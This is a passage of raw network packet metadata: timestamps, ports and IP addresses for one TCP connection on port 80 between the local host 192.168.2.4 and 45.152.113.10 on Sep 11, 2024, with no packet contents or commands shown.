Sep 11, 2024 22:52:02.900574923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900603056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.900608063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900631905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.900641918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900684118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900702953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.900702953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.900734901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900734901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.900768042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900800943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900803089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.900823116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.900835991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900865078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900873899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.900893927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.900899887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.900933981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.900970936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.906727076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.906811953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.906847954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.906905890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.906905890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.906905890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.907005072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.907090902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.907098055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.907144070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.907157898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.907196045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.907226086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.907229900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.907248020 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.907263994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.907289982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.907318115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.908051014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.908101082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.908114910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.908134937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.908168077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.908188105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.908189058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.908202887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.908219099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.908262968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.908885956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.908938885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.908957958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.908982038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.908987999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.909023046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.909053087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.909056902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.909079075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.909116030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.909849882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.909917116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.909940004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.909975052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.910007954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.910053015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.910124063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.910159111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.910195112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.910234928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.911112070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.911144972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.911180019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.911194086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.911212921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.911212921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.911231041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.911248922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.911268950 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.911310911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.911644936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.911678076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.911711931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.911714077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.911732912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.911770105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.912151098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.912184954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.912218094 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.912246943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.912404060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.912457943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.912508965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.912508965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.912621975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.912657022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.912764072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.912766933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.912805080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.912856102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.912856102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.912856102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.912940979 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.913007975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.913012981 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.913090944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.913142920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.913208008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.913211107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.913269043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.913320065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.913383961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.913389921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.913439035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.913582087 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.913634062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.913644075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.913666964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.913696051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.913702011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.913743019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.913743019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.913955927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.914020061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.914053917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.914120913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.914170027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.914237976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.914275885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.914309978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.914340973 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.914345980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.914361000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.914380074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.914402962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.914414883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.914433956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.914469004 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.914875984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.914910078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.914942026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.914972067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.915057898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.915108919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.915122032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.915142059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.915167093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.915177107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.915196896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.915210009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.915239096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.915244102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.915272951 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.915294886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.915646076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.915714025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.915782928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.915817022 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.915839911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.915867090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.915997982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.916049957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.916060925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.916084051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.916106939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.916130066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.916189909 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.916243076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.916253090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.916301012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.916429996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.916481972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.916507959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.916517973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.916544914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.916553974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.916574955 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.916611910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.916858912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.916893005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.916924953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.916975021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.917022943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.917057991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.917087078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.917110920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.917251110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.917283058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.917315006 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.917335033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.917335987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.917386055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.917392969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.917419910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.917447090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.917454004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.917490005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.917490959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.917511940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.917521954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.917541027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.917557955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.917579889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.917617083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.918185949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.918235064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.918247938 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.918287039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.918292046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.918319941 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.918349981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.918354034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.918368101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.918386936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.918407917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.918423891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.918445110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.918457985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.918493986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.918494940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.918513060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.918557882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935170889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935240984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935261011 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935281992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935298920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935317993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935334921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935355902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935416937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935477018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935477018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935477018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935517073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935553074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935574055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935586929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935605049 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935620070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935642004 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935652018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935672998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935703039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935719013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935758114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935762882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935790062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935822964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935833931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935833931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935874939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935888052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935909986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935930967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935942888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935971022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.935976028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.935996056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936007977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936034918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936042070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936064005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936091900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936105013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936126947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936150074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936176062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936183929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936208963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936233044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936256886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936268091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936290026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936310053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936323881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936350107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936357021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936372042 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936388969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936420918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936422110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936440945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936456919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936487913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936490059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936517954 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936523914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936536074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936558008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936585903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936590910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936611891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936640978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936654091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936698914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936700106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936732054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936764002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936781883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936786890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936831951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936841965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936865091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936897039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936904907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936904907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936928988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936960936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.936979055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.936981916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937016010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937043905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937048912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937062025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937082052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937108040 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937130928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937139034 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937160969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937201023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937201023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937210083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937259912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937268019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937289000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937318087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937320948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937335014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937390089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937391043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937439919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:02.937452078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:02.937474966 CEST	80	49733	45.152.113.10	192.168.2.4
